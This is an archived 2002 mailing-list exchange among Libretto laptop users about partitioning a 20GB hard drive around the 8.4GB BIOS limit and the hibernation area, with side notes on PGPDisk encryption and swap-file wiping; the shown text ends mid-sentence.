Date: Sat, 12 Jan 2002 08:20:40 + From: Matthew Hanson [EMAIL PROTECTED] Subject: RE: [LIB] David's Hitachi 20GB HDD Date: Fri, 11 Jan 2002 13:51:44 -0800 (PST) From: David Chien [EMAIL PROTECTED] Basically, EZ-Drive first, then SC, whos MBR will be moved to sector 1 instead. Okay... I fdisked, and formatted the 20GB HD in my L110 under DOS using win98SE boot disk. thus, only saw the first 8.4GB not the entire HD. Created a 250MB DOS partition to put an emergency DOS Win9x install files into it along with Ghost and Partition Magic. Are you saying that you ran fdisk, created a 250MB DOS partition at the front of the drive space, and formatted it? How could you see the rest of the 8.4MB from there? Used PM to create a second 4GB partition (copy the first 250MB partition and resize), then set that active (hiding the other one). You created a 4GB partition right after the 250MB partition using PM to copy the 250MB partition with its data (PM can do this?), and then 'paste', so to say, after the first partition, and then resizing it? Sounds like you end up with the first partition as a 250MB part., and a 4GB and a 2nd part. after it... and both parts. containing the same data. Reboot and I can now install win98se, drivers, accessories, apps. At this point, I can install and deinstall the EZ-BIOS at any time and programs like fdisk and PM will simply see or not see beyond 8.4GB. So I put it in, setup another two partitions (extended, logical) for data beyond the 20GB point, Do you mean 'BEFORE' the 20GB point? EG, put two parts up agains the end of the space, leaving room before them at that 8.4GB hibernation point? and avoiding the 8.4GB boundary (1010-1040 cylinders) that's used by the hibernation to disk data. Got an empty 4GB just after the second 4GB primary partition I haven't used yet Sounds like you ended up with 2 4GB parts. at the front end of the drive. Won't fdisk let you start off by creating a 4GB part. to begin with? (don't know if I'll stick in Linux anyday now or not), but figure with 16GB used and lots of empty space, why bother for now partitioning it. PGPDisk 6.02i (www.pgpi.com) installed as well on the second data partition to keep hidden stuff hidden. Do you have to use PM to unhide the 2nd part. in order to access the data? If you don't have an OS there, how do you run PGPDisk? Do you leave the first part. with the OS unhid, and use the OS there (Windows I assume) to operate PGPDisk on the 2nd part.? Seems you'd have to wipe data in the swapfile on the 1st part. to be secure if that's the case. Everything at that point fully setup with the basics backed up with Ghost to CD-R for fast recovery of trashed primary boot partition. Notepad, type a phrase (hmmm is it necessary to save the file?), then use a hex editor to find the hibernation cylinders. Do I put the system in Standby first? Or does the data get written to disk from RAM as I type in Notepad? Create a partition that starts before 1010 cylinder and goes beyond 1040 cylinder. Download and use a free space file wipe program to zero out that partition. Would I have to have to wipe the free space if I had just created and formatted the partition? Seems like it shouldn't have any data written there at that point. Make sure hiberate to disk is on in the Power Control Panels setttings. Open Notepad and write anything unique eg. Librettos are SO amazing! Hibernate to disk (not standby), then resume from hibernate. Doesn't the system go into hibernation after a set time has elapsed after going into standby? I thought that was the way it works. 'Standby Hibernation' after set time. I can hit any key right after going into 'Standby' and get the screen to brighten up instantly. But after a certain amount of time in Standby, the system shuts down. Isn't this 'hibernation'? After that point I have to hit the power button to wake the system up. But you're saying change 'Boot Mode' to Hibernation Mode on the 'System' tab of 'Power Save Properties'. Do you need to set 'System Auto Off Time' to 'Min'? Walk the sectors with any hex disk editor like WinHEX to find the extent, using search on the unique text string you typed into Notepad earlier to get you there quicker. So leaving Notebook open with typed text, hibernating, and resuming (resume is new to me) writes data to the ENTIRE hibernation area? I would think typing a lot of text would end up with data written to a larger area of the disk than just a few words would... but you can see how little I really know about this. I guess Windows is using the entire hibernation area to write as much as it possibly can in a specified area as it needs to hibernate enough data that the OS will need to revive. I'm assuming Windows writes the same total amount of data every time it hibernates. Using the hex editor to search for the text will probably locate that text

RE: [LIB] David's Hitachi 20GB HDD
Date: Sat, 12 Jan 2002 19:22:03 -0800 (PST) From: David Chien [EMAIL PROTECTED] Subject: RE: [LIB] David's Hitachi 20GB HDD Are you saying that you ran fdisk, created a 250MB DOS partition at the front of the drive space, and formatted it? How could you see the rest of the 8.4MB from there? Yes. Fdisk can see everything under 8.4GB w/o a disk manager installed at this point. You can create any additional partitions you'd like; other programs like Partition Magic can also see all 8.4GB of the HD and create/copy/delete/work on partitions. You created a 4GB partition right after the 250MB partition using PM to copy the 250MB partition with its data (PM can do this?), and then 'paste', so to say, after the first partition, and then resizing it? Sounds like you end up with the first partition as a 250MB part., and a 4GB and a 2nd part. after it... and both parts. containing the same data. Yep. This way, I always have a working, bootable partition on my HD that I can go back to in case the other booting partitions get thrashed and damaged (hopefully , not to the point where I can't even boot into DOS and get to partition magic's pqboot.exe to switch primary booting partitions). This let's me install more Win98SE partitions on my HD (let's say one for games) w/o having to gather all the required setup files, w/o accessing any more CDs or floppy drives, and let's me easily restore from my HD images on the secondary partitions in case the primary partitions I've installed besided this 250MB partition gets virus/damaged/destroyed/etc. w/o a CD-ROM and floppy drive attached for backup source. So I put it in, setup another two partitions (extended, logical) for data beyond the 20GB point, Do you mean 'BEFORE' the 20GB point? EG, put two parts up agains the end of the space, leaving room before them at that 8.4GB hibernation point? Nope, these two 'unimportant' data partitions are sitting after the 8.4GB boundary hibernation data space point. I don't care if they disappear since they've only got useless stuff like MP3 music files. Everything important goes below 8.4GB and/or backedup often to my CD-R drive. Got an empty 4GB just after the second 4GB primary partition I haven't used yet Sounds like you ended up with 2 4GB parts. at the front end of the drive. Won't fdisk let you start off by creating a 4GB part. to begin with? Nope. HD partition =Start of HD= 250 MB DOS primary bootable partition (hidden) 4GB Win98SE primary bootable partition (active) 4GB or so of non-partitioned space, all the way up to and beyond the 1024 cylinder area where the hibernation partition resides. 8GB or so, extended logical data partition 4GB or so, extended logical data partition =End of HD= FDISK can only create one primary bootable active partition, not two. I have to either create the 250MB primary partition first, or the 4GB one, then copy using Partition Magic. Given that it is FAR faster and easier to copy a 250MB partition, that's what I went for first. Also, the 250MB partition is easily tested to work with and without the disk manager so I know that even if the EZ-BIOS gets damaged, I always have a working primary bootable partition to fall back to. (don't know if I'll stick in Linux anyday now or not), but figure with 16GB used and lots of empty space, why bother for now partitioning it. PGPDisk 6.02i (www.pgpi.com) installed as well on the second data partition to keep hidden stuff hidden. Do you have to use PM to unhide the 2nd part. in order to access the data? 1st and 2nd extended logical data partitions are always active and visible. Otherwise, I'd use PM to make them visible/hidden. If you don't have an OS there, how do you run PGPDisk? Do you leave the PGPDisk is a program that runs under Windows and is installed in my 2nd 4GG Primary bootable active partition. Anytime I'd want, simply click on the PGPDisk file(s) located anywhere on any visible partition, and it launches PGPDIsk and loads up the file as another virtual HD drive letter to let me access whatever is in it. Can't get to it under DOS, but not worried as I simply backup the PGPDisk file to CD-R and can access it on any other PC with PGPDisk installed. (yep, handy private way of taking your data with you on CD-R) first part. with the OS unhid, and use the OS there (Windows I assume) to operate PGPDisk on the 2nd part.? Seems you'd have to wipe data in the swapfile on the 1st part. to be secure if that's the case. There's always the concern about PGPDisk leaving traces behind on the primary active bootable HD's swapfile space. Can't do much about that short of going back into dos, deleting all TEMP files and the Windows *.swp file, then running a free disk space zeroing program after every use. Given that I don't have anything that 'private', I'm not too concerned with doing that. Otherwise, just setup a batch
